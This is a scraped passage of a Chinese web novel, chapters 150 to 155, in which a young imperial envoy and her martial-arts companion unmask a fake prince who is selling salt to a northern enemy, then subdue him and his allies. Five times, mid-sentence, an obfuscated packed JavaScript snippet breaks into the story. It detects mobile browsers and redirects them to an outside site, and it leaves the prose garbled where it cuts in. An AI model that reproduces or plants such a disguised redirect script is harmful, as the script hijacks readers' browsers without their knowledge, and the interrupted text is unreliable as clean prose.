九阙年纪太小,没有经历过那个特殊的动乱时代,因此这会儿对滨阳王内心的痛苦了解不够深刻,但依旧能从对方痛苦的微表情里感受到些许。正因如此,她对这个假王爷以及幕后勾结之人更为厌恶痛恨。 而这时候,‘滨阳王果然拒绝了对方。 “本王沉疴已久,身子沉重,武艺已荒废多年,早已不比从前。左亲王正当壮年,确实是比不了。不过左亲王千里迢迢来到盐城,也不是为了跟本王打一架吧?” “……” 左亲王盯着滨阳王看了许久,久到身后的同族都以为他想动手了,结果他却微微一笑,竟是就这么把这件事儿放过去了。 “是我强求了。也对,我们这次来是抱着和平的心态来的。就按照王爷所说,咱们继续交易吧。” 接下来两人就彼此之间的交易你争我夺,你来我往的争吵,许久之后才在激烈的争吵中达到了勉强的共存。 在这个过程中,九阙眼中的怒火越来越强烈,为了避免被别人发现,她只好转移视线,盯着头顶的木板屋顶。 好,好啊!这可真是他们大景朝的好皇子。为了一己私欲,竟然将自己国土 上的资源拱手相让,只为了争夺那一点点来自外族的支持。九阙都想把他的脑子扒开,看看里边儿到底是不是装的都是豆腐渣。 大景的皇位更迭与北蛮有何关系?对方怎么可能会真心实意的帮你?他们只会在皇位更迭之时趁机出兵,侵扰边境!他们之间可是仇敌啊!那么简单的一句支持足以让你付出这么大的代价吗? 这已经不是单纯的脑子有问题了,这是屁股根本就没坐稳啊。身为大景人,却一心向着北蛮。既然这么信任对方,你为何不去做北蛮的皇子?! 蠢货!当真是愚蠢至极!怪不得老皇帝未老先衰。她要是对方,有这样一群儿子,死都死不安生! 第一百五十章 想怎么死? 在双方都满意之后,原本紧张激烈的氛围也略微缓和些。左亲王甚至还可以语气缓和的和假王爷调笑。 “都说王爷勇冠三军,如今一见,王爷这般英俊,定然受到女子的爱慕尊崇。别的不说,我们草原上就有许多明艳的女子十分爱慕王爷,那都是我们草原上最漂亮的花朵。如果不是咱们之间隔着太多,我都想把自己的亲妹子嫁给您了。不过,以王爷这般人品,为何直到现在也没个可心人?” “……你管的太多了。” “哈哈哈哈……王爷不要生气,我这也是关心则乱。毕竟咱们之间的交易还要长久维持下去,若是王爷病体难愈出了什么事儿,本王还能去找谁合作?” 这就是句明晃晃的试探了。 ‘滨阳王’面无表情的盯着对方,只把那位左亲王盯的严肃起来,连连讨饶,才慢条斯理的收回视线。 他随意把玩着桌面上摆着的白玉狮子镇纸,神情竟也有股神秘莫测的味道。 “你放心,就算本王身子不好,也绝对不会走到你前头。况且,本王心情好了愿意与你交易,本王心情不好,咱们之间大可就此了断。” “……王爷,话不是这么说的,您就不怕咱们之间这点儿事儿被别人知道?尤其是被你那位义父,当今景泰帝知道?” “知道了又如何?本王既然做过,就不怕别人知道。倒是你们,没有足够的盐吃,还有力气与大景打仗吗?” 北蛮左亲王眯了眯眼,自知失言,不过他也没准备忍气吞声。他这趟不怕危险前来就是为了得到更大的利益,而面前这位王爷明明手里握着那么多令人垂涎的资源,却不肯多给他们一分,这让左亲王怎么愿意? 想起之前自己查出来的东西,左亲王故作哀叹。 “说起来大景的皇帝也真可怜。努力了那么久才登上帝位,如今不过过去十三年就有那么多人盯住他屁股底下那个位置。瞧瞧!不仅他的义子,就连他的亲生孩子也在挖自家江山的墙角。这要是放在我们草原也会被人唾弃,更何况以礼仪传家的大景?王爷就不怕景泰帝失望?我怎么听说你们的关系不是亲生父子,胜似亲生?” “你管的太多了……你刚刚也说有太多人盯准那个位置。我为什么不行?若论功劳,当初本王在战场上杀进杀出,斩下敌首不知凡几。那时候景泰帝的亲生儿子还在撒尿和泥巴呢!难道就因为我不是亲生的,所以注定无缘帝位?这未免太过可笑。京中那四个皇子,无一不是酒囊饭袋之辈。他们那样子,就算真正登上皇位,也坐不稳!还不如识相点儿,早点儿让出来。” 对方话里的挑拨意味太过浓重,却没想到‘滨阳王根本不在意,他甚至直接挑破了那层窗户纸。这倒是让那位左亲王愣了一下。 呃,这就有稍许尴尬了,没想到这位滨阳王根本不按常理出牌啊。他一点都不在意自己的名声吗?大景人不是都很在意这一套? 难道是在故意试探自己? 想到这里左亲王试探性的开口。 “所以你也不在意我们和大皇子合作?” “你们想和谁合作就和谁合作,跟我有什么关系?我只要确保我们之间的关系不会发生改变就行,当然如果你们不愿意,随时可以断掉。我们盐城的盐还不愁卖,今年要送往边疆的食盐已经准备好,满满当当,边疆军队翘首以盼。我们想卖给谁不行?” 这北边的蛮子就是不够聪明。全天下只有他盐城产盐量最多,质量也最好。自己捏着那边儿的命脉,还敢跟自己呲牙咧嘴,真是活的不耐烦了。大不了一拍两散,反正他又不是真的滨阳王。 当然了,这些话也就在心里想想,他是不会说出来的,毕竟自己背后的主子还捏着他这条小命。只是这些北蛮人太过大胆,总得弹压一二,免得让他们错认为可以爬到自己头上来。 果然,当滨阳王强硬起来,对面的左亲王自然也就怂了。 “我只是这么一说。王爷何必生气呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501303|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你也知道我是个粗蛮人,不懂得你们大景的礼仪。还请王爷大人不记小人过,饶了我这一回吧。” 在他们你来我往的时候,九阙给了崔前辈一个眼神。好家伙,现在已经探听到对方的阴谋诡计,若是能趁此机会将两拨人都给逮了,这不是现成的人证物证吗?就是不知道屋子里边儿这么多人,崔前辈是不是对手。打败肯定是能打败他们的,但问题就在于不能发出太大动静,免得外面那些守卫发现。 万一里边儿有两个聪明的,把这边的消息传出去,等对方有所准备就不太好办了。 崔逐风一接触到九阙的眼神就知道自己出场的时候到了。说起来还有些不好意思,比起这些弯弯绕绕的你争我夺,她还是更擅长直接出手。而且每当这个时候都会收获九阙崇拜的眼神,对她来说还是挺不错的。 点了点头,崔逐风轻飘飘的落下。虽说这个北蛮左亲王在战场上杀伤力足够强大,但与崔逐风这样的武林高手相比还是错的远。首先在经验上两者就没有可比性,更何况崔逐风只需要拿下区区几个人,又不是在千军万马里厮杀,对她来说简直是手到擒来。 “好了。” 当这句话落地的时候,九 阙睁开眼睛就看到下面那两波本来还在商谈的人浑身僵硬,呆在原地无法动弹的模样。 啊,前辈果然威武,这是传说中的点穴吗? 九阙更想近距离观察了,只是看了看自己距离地面的高度,十分‘厚颜无耻’的对着崔逐风伸出双手。 “前辈~” 崔逐风眼中闪过一丝笑意,旋身向上,搂住九阙的腰,轻柔的把她放在地上。与刚刚对待敌人的秋风扫落叶的态度完全不同。 活动了下因为固定一个姿势太久而僵硬疼痛的身体,九阙笑眯眯的看相无法动弹,只有眼中无法抑制流露出惊恐情绪的人。 “你们好啊!非常不巧,在下正是陛下派出的钦差,所以,你们想怎么死?” 第一百五十一章 谁耍谁? 九阙觉得这是个大大的惊喜,但对方完全不觉得,甚至还给出了惊恐的反应,叫九阙很是没面子。尤其是,那几个北蛮人竟然一点儿都没方才那种嚣张的表现,反而战战兢兢的,就差没有晕过去了。啧啧,真是没用。 “所以,你们什么时候来的大景?竟然也不提前打个招呼,我们好去接待一番啊。” 那为首的左亲王像是找到了什么生路似的,那叫一个绝处逢生。但他深谙人性,这会儿没有痛哭流涕的求饶,反而露出个大方的笑。 “这位,不,二位女侠,我们只是来大景谈一笔生意。你们也知道,大景盛产食盐,而我们草原上食盐稀缺,所以很多像你这样的小郎君小姑娘没有盐吃,大多四肢无力没有力气起来走动。你想想啊,大好年华的,竟然只能窝在帐篷里煎熬度日,多么悲惨。这位‘滨阳王’心地善良,知道这个情况之后乐意慷慨解囊。像你这么大的孩子应该知道‘滨阳王’的名声吧?他可是你大景的战神将军,你就算不信我,也会信他吧?你觉得和他一起做生意的我会是坏人吗?” 九阙摸了摸自己的脸,一时间无法理解对方为什么会说这样的话,难道他看不到自己是个堂堂正正的大景人? 哦哦,她懂了,估计是觉得自己年纪不大,而且是个女子,会心软吧。要不然他怎么不跟崔前辈这么说话? 她这还是第一次见到北蛮人呢,而且第一次见面就被小瞧了,真是新奇的感觉。 “这么可怜的吗?我怎么听说你们北蛮都是坏人?不仅抢我们的粮食牛羊,还抢我们的姑娘。你们北蛮就没有女子吗?可你刚刚不是这么说的。” “姑娘有所不知,实在是我们那里环境恶劣,女子孩童体弱,能活下来的实在太少。若是没有足够的盐,他们也过不了冬天。” 左亲王本是为了活着才开口一试,没想到对方竟然真的上当了。或许是太想活着,他下意识忽略了九阙刚刚的话。钦差?什么钦差?就这么个弱唧唧的小姑娘,怎么可能会是朝廷派来的钦差?估计是靠这张还算不错的脸上位的吧?大景皇帝都五十多岁了,这应该叫老牛吃嫩草吧。 心里恶意揣摩了一把,左亲王瞬间做出了判断。这女钦差估计就是老皇帝放出来转一圈攒个功劳好回去升官,旁边这个武艺高强的估计是个护卫啥的,要不然刚刚为什么只会动手,任凭这个小姑娘开口?这完全就是一副随从模样啊。就是没想到大景竟然有这样武艺高强的高人。就算是他们向来以武艺高强着称的草原国师,也没有这么厉害。能在一瞬间制住他们五个人,这样的武艺,绝非凡人! 想到这里,左亲王起了觊觎之心。也不晓得这个女高手愿不愿意跟他去草原…… “我们那里的女子向来柔弱,不比这位女护卫武艺卓绝。说起来,想必二位方才已经听到我的身份,我是草原左亲王,说句实话,小王至今未娶,不知这位高人可有婚配?若是能强强联手,我们一定能生下最强壮的后代!” “……” 你在想屁吃?! 九阙几乎要气笑了,这左亲王脑子是不是不太好,现在他的小命可是在崔前辈手里握着呢,竟然出言调戏,真不知道死字怎么写? 崔逐风也一脸郁闷,她还从未见过这样愚蠢大胆之人,真不想活了?手上一用力,左亲王直接跪倒在地,膝盖接触地面,发出沉重的闷响,疼的他龇牙咧嘴。就算崔逐风不吭声,左亲王也知道自己刚才触怒了这位高人,立即收起了那副嘴脸,安静恭顺起来。 见他这样,九阙冷着脸在崔逐风不赞同的眼神里上前,居高临下的看着对方。 “你算个什么东西?竟然也敢肖想我崔前辈,想……” 机会! 原本萎靡倒地的左亲王狠狠一咬牙,镶在牙里的药物瞬间起效,他紧接着顺势而起,右手呈现爪状一把抓向九阙,因为速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501304|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太快,甚至出现了残影。还真以为他堂堂草原左亲王是个蠢货不成?之所以装疯卖傻就是为了寻找机会抓住这可以做主的人,尤其是那个武艺高强的女人一副以九阙为主的样子,若是抓住这个钦差,说不定可以逃得一命。他自小接受的教育,若是处于不利地位,一时的丢脸算什么,只要能活着,形势总能逆转。尤其是女人这种生物,不管如何聪慧,总会因为一时的情感变化做出冲动的举动。而他要做的,就是在这种时候找到可以让自己活下去的时机。 不得不说,左亲王实在是个能屈能伸的人物,求生的时候一点都不介意被别人看低,把自己弄得一脸蠢相。若是个普通人,估计还真会短暂上当,但奈何,他遇到的两个,都不是普通人。 于是,当他骤然起身抓向九阙的瞬间,崔逐风在无数场战斗中磨炼出来的本能让她狠狠用力,左亲王被抓住的那只胳膊顿时发出咔嚓脆响,竟是直接被抓断了。不过左亲王早有预料,他连哼都没哼一声,继续自己的动作,小小伤痛算的了什么,只要能抓住九阙,就抓住了活下去的希望! 在左亲王的视线里,瘦瘦弱弱的九阙不就是个可以随意拿捏的玩具吗?一把就抓住了!然而在这极短的时间里,左亲王眼中伸手可得的九阙竟然面不改色的抓住他伸出去的爪子, 看似轻飘飘的一折。 “咔嚓嚓……” 梅开二度,左亲王无往不利的鹰爪竟然直接被应九阙捏的粉碎!那只原本骨节分明的大手此刻像是个装满了血肉的水袋子,坠下去的同时还发出了细微的‘吨吨’声。 他的手! 即使是左亲王这样胳膊断了都不喊一声疼的男人稀此刻在肉体和心理的双重折磨下都忍不住发出一声凄厉的惨叫。 “啊——” 他的手!骨头碎成这个样子,肯定是接不好了!他以后再也不能骑马,再也不能弯弓射箭,再也不能肆意妄然的屠杀—— 第一百五十二章 应重鸣 “叫什么叫?” 九阙不耐烦的挖了挖耳朵,对这个原本打算抓住自己,却半途而废的男人嗤之以鼻。 “既然想抓我,就算你另外一只手都断了,用牙咬也得用尽全力吧?这就放弃了?真没用。” “你!你不是人!你这个魔鬼!” 看着眼前对自己亲手造成的伤势毫不在意甚至还觉得无聊的应九阙,左亲王心里的恐惧悄然而生,越来越大。这样的应九阙,叫他想起了一个人,一个此生都不想回忆起来的人。 十三年前,那个在战场上肆意屠杀的女人!那根本就不像个女人!这世上有哪个女人像她那样可以一只手举起八十斤的铁枪像穿肉串似的一枪串五个人! 那时候的左亲王只是个半大少年,轮不到他上战场,于是只能在一边的山坡上观战,而那个成为自己一生噩梦的女人就这么面无表情的一枪好几个人,像杀鸡一样,随意的很。那时候有好几百个英勇的士兵冲上去,但根本拦不住那个女人。她随意一挥手,就是一大捧的血肉挥洒起来,在地上堆积成一层又一层的肉泥。 即使北蛮向来以残忍着称,那个场景也未免太过可怕,那和左亲王印象里的女人完全不同,简直就是另外一个物种。那就是个杀神!那一战,让所有人都记忆尤深,尤其是当初在场的草原勇士,此后好几个月根本不敢叫女人近身,主要是当初那个女人留给他们的印象太过可怕。 时至今日他依旧记得那个女人的名字。那个人是——应!重!鸣! 左亲王知道自己已经失去了先机,此刻萎靡在地,自下而上的看着那个瘦弱的女人,也是这个时候他从九阙那张脸上发现了端倪。这女人为什么看起来如此面善?也不知是不是因为方才捏碎自己手骨的动作,竟让左亲王有种既视感。她怎么和当初那个杀星有相似之处? 想到这里,左亲王轻声开口,就像一个害怕面对的噩梦。 “你叫什么?” “嗯?难道想伺机报复?你们竟然不关注朝廷派出来的钦差?虽然我们走的很隐蔽,但一走走这么多天,黔州的案子也已经报回京城,我不信你们不知道钦差的名字。” “我想听你亲口说出来。” 没想到对方竟然有这种爱好,九阙当然愿意成全。 “应九阙。” 啧,说出来之后九阙就后悔了,她是不是应该加上一句‘行不更名,坐不改姓,应九阙’是也?总觉得这样说出来会更霸气。 只是没想到他只是简简单单说出了三个字,对面那个方才还阴险狡诈的左亲王像是丢了什么似的,一脸失态。口中还在喃喃自语。 “果然是她,我早就该想到,应九阙,应九阙……应重鸣……” 本来还默默观察他表情的九阙顿时板起了脸。左亲王为何会在这个时候提起她母亲的名字? “你什么意思?” 左亲王这会儿像是还没醒过来似的,迷迷瞪瞪。就算九阙的语气对他来说堪称羞辱,但依旧轻飘飘的开口。 “怪不得我总觉得你眼熟,原来你是她的女儿。我还以为那个人不会有后代留下,毕竟,那还算是个女人吗?竟然会有人愿意和她成亲生子?” 不管那个男人是谁,他都由衷的敬佩对方。 “……” 不是,这个左亲王是找抽吧?当着她这个女儿的面说母亲的坏话,脑子不正常……对了,他脑子本来就不太正常。 九阙直接上前狠狠给了他一巴掌,目露凶光。 “你现在说这个是什么意思?难道你指望我会因为你这句话饶你一命?” “饶我一命?不不不,我怎么敢这么想?那个女人可是悬在草原上空的利剑!即使她是大景人,也有无数的草原勇士敬佩。我早就知道那位将军力拔山河,没想到她的女儿也遗传了这点。不过你为何不同你母亲一样加入军队为国效力?难道是贪生怕死?肯定是随了你那爹!” 九阙好生无语。这个左亲王还分不分得清自己脚站在哪一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501305|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?不过这也算真情流露吧,原来她娘这么招人喜欢啊。不是说当初她娘以一己之力把北蛮揍的找不着北吗?为什么北面还那么多崇拜母亲的? 唔…… 这大概就是传说中的强者效应?不过她也觉得奇怪,为何应将军不把自己唯一的女儿培养成当世武将。毕竟自己这一身力气还是遗传应将军的。虽说她没有尝试过战场上杀人,但就刚刚轻而易举将左亲王手上的骨头捏粉碎,再加上当初盖村子时一举手一抬脚就能将滚圆厚实的木头单手提起的情况来看,若是从军,必是一名猛将。 难道是因为姓林的不愿意? 啧!想起那个小人九阙就没好脸色。当初仗着应将军的事爬的那么快,可应将军一出事儿就把她唯一的女儿塞到农庄里,还想悄摸摸的动族谱。若不是前些日子她那一闹,现在她还是林家人呢。真是既要又要,最看不起这样的男人了。 “随不随我那便宜爹倒是不清楚,不过你今天要受罪了。要求饶吗?” “……若是别人,肯定不会。可你既然是应将军的女儿,输给你也不丢人。来吧,把我抓起来吧。不过就算你是应将军的女儿,不能说的 我还是不会说。” 瞧把你给能的!真以为自己是什么英雄好汉了? 九阙面无表情的给了这面带微笑的左亲王一脚,面对身后那几个草原人的怒目而视,九阙毫不在意,谁让她总觉得左亲王的笑容不怀好意呢! 此刻九阙回头看着一直默不作声的‘滨阳王’,似笑非笑。 “说起来,当初王爷似乎与我母亲并称战场双子星,母亲死于北蛮手下,也算夙愿得偿,求仁得仁。倒是王爷,怎么甘于和北蛮人合作?怎么,如今的大景不是你们景家人的天下?” ‘滨阳王’沉默片刻,突然冷笑出声。 “这时候还装模作样就没什么意思了吧?我不信你刚到,否则出手的时机怎么会如此巧妙?既然你都知道了,我还装什么?这本来就不是我的天下。” 第一百五十三章 破防 哇,这个‘滨阳王还真是挺有骨气的,九阙一向比较欣赏有骨气的人,所以她上去就给了对方一个耳光。 她的力气有多大方才左亲王已经亲身验证过。那个看上去就身体不太好的‘滨阳王’被这一个耳刮子直接扇倒在地,还在地上滚了好几圈,才勉强呼吸出来。 ‘滨阳王’艰难的抬起头,噗的一声吐出一口鲜血,里边儿还夹杂着两颗牙齿。他似乎是被这一巴掌打蒙了,不可置信的抬眼看着若无其事的九阙。 “你!你竟然敢打我?!你不知道我是谁?” “你不就是假的‘滨阳王’吗?难道你是真的?” ‘滨阳王’气的一噎,他当然想过自己被发现的情景,但那绝不包括被如此羞辱。更何况,这个不知道从哪里冒出来的女人,不知道偷听到了多少自己私底下说的话。这种情况实在超出‘滨阳王的预料,叫他一时间恨得牙痒痒却没办法。 他急促的喘息几声,刚才一直没出声,就是为了避免被这个女钦差发现,也是为了拖延时间,可没想到,一点儿都没起效果。反而招来了如此恶心的羞辱。不过难道这个女人以为如此做就能摧毁他的心理?还差的远。 指了指那扇屏风,‘滨阳王’露出个得意的表情。 “你这次来就是为了里面那个男人?别枉费心机了,他中了我的毒,只要我不愿意,他就一直是这个活死人的状态。堂堂大景战神,十几年前纵横沙场的双子星之一,却要被我这个无名小卒毒倒,当真是可怜。” 九阙的拳头默默握紧了。她知道或许这个男人有这样或者那样的苦衷,但九阙实在懒得听了。每个人都有苦衷,难道每个有苦衷的人都可以借着这个理由去肆意伤害别人?而且这个男人明明知道滨阳王的位置有多重要,却还是下手了,也知道食盐对大景的重要性还是与北蛮联手。像这种明知故犯的人有什么好同情的? 而且看这样子假的滨阳王未必不喜欢如今的状态,毕竟他不是特别喜欢权力?之前还跟真王爷絮絮叨叨说了那么多扎心窝子的话,必不是个好人。 九阙的拳头蠢蠢欲动,旁边那几个北蛮人已经机智的选择了安静。也不知道另外那个女人到底用的什么方法让他们直到现在还浑身发软,只有嘴巴能说出话,但声音也很低,完全绝了他们向外面求助的可能。再加上这个年轻点儿的女人还是个疯的,力气那么大,据说还是当初另一位双子星应重鸣将军唯一的后人。刚刚那么一捏就把自家左亲王的手骨完全捏碎。谁知道她一旦发力会不会把他们都打成面袋子? 所以此刻这几个北蛮人就格外崇拜依旧敢挑衅的‘滨阳王’。他是真的不怕死吗?不过原来真正的滨阳王已经被取代了,怪不得如今的王爷愿意与他们草原合作。之前可汗和几位王爷都觉得奇怪,甚至一度认为这是个陷阱,可从盐城送出去的白花花的盐却不是这么说的。以前还抱着景潮生要是真像现在这么疯就好了的想法,要不然他们还真在大景找不到身份足够高,权力足够大,并且愿意无条件和他们合作的人。 现在看来,果然人的欲望不能太大,假的王爷被发现,他们之间的合作估计到此为止了。虽说已经对自己接下来的下场不抱希望,但是能在此之前少受点儿苦,他们还是挺愿意的。至于那个自己发疯还差点连累他们的假王爷,那些北蛮人那叫一个怒目而视!自己疯自己的,别连累他们啊!他们可不想被打掉几颗牙!牙打掉了还怎么吃饭?开玩笑,他们可是最凶猛,最英勇的草原狼,绝对不能因为这么可笑的理由被一个女人打掉牙。 而旁边,假王爷还在大声叫嚣。 “来啊,杀了我!杀了我,真正的滨阳王也活不了!” “呃……” 九阙还从未见过这么自讨苦吃的人,甚至有些怀疑自己的耳朵。 “你说什么?” 然后在对方开口的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501306|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间强行插嘴。 “算了,你还是闭嘴吧。” ‘滨阳王’差点被噎死,于是对着九阙怒目而视,这世上怎么会有这么无耻的人?明明是她让自己说话的,却是自己开口的前一刻截住自己的话头。简直无耻之尤!无…… “不然我怕自己控制不住掐死你。” 算了,不与小女子一般见识。 ‘滨阳王’老老实实的闭嘴就却却不肯放过他。一只手拎起对方,轻轻松松的来到真王爷躺着的地方,表情那叫一个温柔。 说来也奇怪,假王爷明明和真王爷同处一室过了三年之久,却从没有像这一刻充满了对对方的恐惧。‘滨阳王’真的会醒吗?在被迫躺在床上三年之后,面对自己这个罪魁祸首,王爷会不会直接一刀杀了他? 因为未知所以恐惧。看着那张熟悉的刻入骨髓的脸,假王爷惊觉自己在发抖。 而下一刻,身边这个力大如牛的女人说的话更让他恐惧。 “崔前辈,我记得你好像会分筋错骨手,但还从未见你展示过,眼下有个现成的材料,不如你试一试,看看自己是否熟练?哦,对了,不过还是得小心别把他弄死了,毕竟我还要留着他带到京城,在万众瞩目之下砍头谢罪。毕竟毒害王爷假扮皇亲国戚,这项罪名足够他夷三族 了。” 崔逐风其实第一反应有些茫然,她什么时候说过自己会分筋错骨手,而且这是什么东西?她好像从未听过江湖上有这么一门武功,但是抬眼看看九阙那双闪着活泼光芒的眼,崔逐风立马明白,十分配合的上前一步揪住那个假王爷瑟瑟发抖的肩膀就要用力。 原本还坚贞不屈,慷慨之言的假王爷在对方握住自己肩膀的一瞬间尖叫出声。 “不!放开我,我什么都没做过,你们凭什么这么对我?!还有景潮生,你们不想让他活了。想让他继续这么半死不活的躺在床上过一辈子?!” 第一百五十四章 自投罗网 “所以……就算现在杀了你,滨阳王也还是能活着?” 假王爷不可置信的看一眼九阙,这个女人刚刚竟然在套自己的话,她还有没有心啊?这种情况下都能那么理智,该说不愧是应重鸣的女儿吗? 可这种时候怎么可能承认?假王爷继续嘴硬。 “当然不是。说实在话,他身上中的并不是毒,而是生死蛊。蛊毒听说过吗?我要是死了,不出三日,他照样暴毙!我这条命是小事儿,可堂堂大景王爷与北蛮勾结贩卖私盐,铁器甚至女人!这个罪名传出去足够他遗臭万年了,更何况他还与朝中皇子勾连,意图谋朝篡位!你母亲可是应重鸣!她和景潮生并称双子星,战场上也算惺惺相惜。你作为应崇明的女儿,难道愿意眼睁睁看着自己母亲的故交死于非命,而且背负这么屈辱的罪名?” “……” 九阙砸吧砸吧嘴,总觉得对方有点儿有恃无恐。不过话说回来,她也觉得奇怪,对方凭什么认定自己会看在这个名号的份儿上帮滨阳王?当然了,面对这样一个英雄,九阙当然不会袖手旁观,但是她绝对不是因为这个情分才帮忙的。九阙相信此时此地换了任何一个大景人在这儿,都会选择出手相助。 就是这个假王爷的表现叫人恨得牙痒痒啊。 “你狗叫什么?你要是这么爱国,为什么要和北蛮勾结?而且你说的这些罪名,都是你自己做的吧?现在你为滨阳王委屈了,不觉得很可笑?要真是为王爷着想,你就不会这么做了不是吗?” “你……” 那个假王爷此刻不知该说什么,只能恨恨的咬牙,不敢在这个时候触九阙的霉头,只能强行闭嘴。 但九阙可不会那么好心在这个时候放过他,一脚将那个男人踹起来,刚好倒在真正的王爷床榻边,一低头就能看见滨阳王的睡脸,原本他被重击鲜血要喷出来,但下一刻却狼狈不堪的别过脸去,甚至伸出手接住嘴边滴落的血迹,不让它落在滨阳王脸上。 咦? 九阙若有所思的看着假王爷,这人的表现有些古怪啊。正常人装上别人的脸,甚至为了和别人一模一样,只能日复一日的学习旁人的举动,失去自我。这样的人生,难保不会迁怒正主吧?人性就是如此复杂,就算心里知道这是不对的,但依旧会不由自主迁怒。 可若是讨厌滨阳王,假王爷为何要如此重视对方? 呃,总不能是喜欢滨阳王吧? 九阙低头看着狼狈的假王爷,意有所指。 “我还以为你讨厌滨阳王,不然也不会顶着他的名头做这些恶事,你难道不知,仅和北蛮勾结贩卖私盐等物,就足以将滨阳王钉在耻辱柱上?你想让他遗臭万年?青史上留下恶名?” “我,不,我只是……” 假王爷也不知该说些什么,只能默不作声。倒是旁边的左亲王几个北蛮人有些受不了了。说起来,他们不是北蛮,明明是草原啊!这些大景人从刚刚开始就一直喊着北蛮北蛮,真是够了啊,大景人就是这点儿不好,自诩文明之都,就把别人称作蛮夷。 别以为他们不知道,他们草原人被称为北蛮,更南边儿的南苗国被称为南夷。私底下喊喊也就算了,当着他们草原人的面还这么称呼,是不是有点儿不讲武德啊?就这还自认为是礼仪之邦呢! 当然了,他们也就心里叨咕叨咕,万万不敢摆在明面上,毕竟他们现在可是阶下囚。 这时候九阙也失去了耐心,面无表情的逼视着对方,心里琢磨要不要让崔前辈现在动手。不过就在她琢磨的时候,外面突然传来一阵急促的脚步声。伴随的还有某个焦灼而熟悉的声音。 “不好了王爷!之前咱们说的女钦差还真和百衣淳他们一道儿走!我突然想起之前应付百衣淳的时候,她旁边确实有个年轻女人,难道那就是朝廷派的钦差?可恶,她竟然还假做百衣淳的堂妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501307|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真真可恶!无耻!你们干嘛?让开!我要进去!我有要事禀报,要是耽误了盐城的大事儿,你们赔得了吗?” 说话间,那位之前才离开的赵将军重新折返,并且霸道挥退了这屋子外边儿守着的护卫,干脆利落的推开门。只是赵将军没想到自己第一眼看见的竟不是那位叔父,而是几个瞪视自己的北蛮人? 说实在话,赵将军自然知道‘滨阳王’和草原勾结,毕竟每年要输送那么多的食盐过去。出于某种自保的心理,赵将军对一切都缄默不言,全当自己不清楚。这也是为了将来东窗事发自己能留得一条性命,不过他显然太过单纯。若有朝一日盐城的事儿发,他作为滨阳王最疼爱的侄子,并且这些年来贩卖私盐没少赚钱,皇帝怎么可能放过他? 没想到竟然和这些粗野的草原人碰在一起,赵将军当即就想离开,只是门在他身后刷的一下合上了。 下一秒眼前黑影一闪,赵将军就惊恐的发现自己身体不能动。然后他眼前就出现了个陌生又熟悉的身影,这不正是刚刚自己口中所说的钦差吗? 应九阙‘不好意思’的看了他一眼。 “赵将军,半日不见,别来无恙啊。刚刚你是在找我?嗨,看来咱们都想到一块儿去了,这不?我提前进来,刚好碰到你。就是不知道赵将军找我有什么 事儿?需不需要帮忙?” “我,不,我不需要。本将军还有要事要做,你先放开本将军!我全当自己什么也没看到。而且我本来就是无辜的,我什么也没做,就算你是钦差,难道可以随便给人定罪?” “哟!你怎么能这么说呢?空口无凭,就这么诬陷人?我可是个正经钦差,不会因为撞见赵将军贩卖私盐,哄抬盐价,就对您有别样看法。你放心,今儿个咱们谁也跑不了,乖乖把所有都交代了,也免得受皮肉之苦。” 没想到这赵将军的心理素质还挺强,睁着眼睛说瞎话啊这是。 第一百五十五章 假不假不需要你说 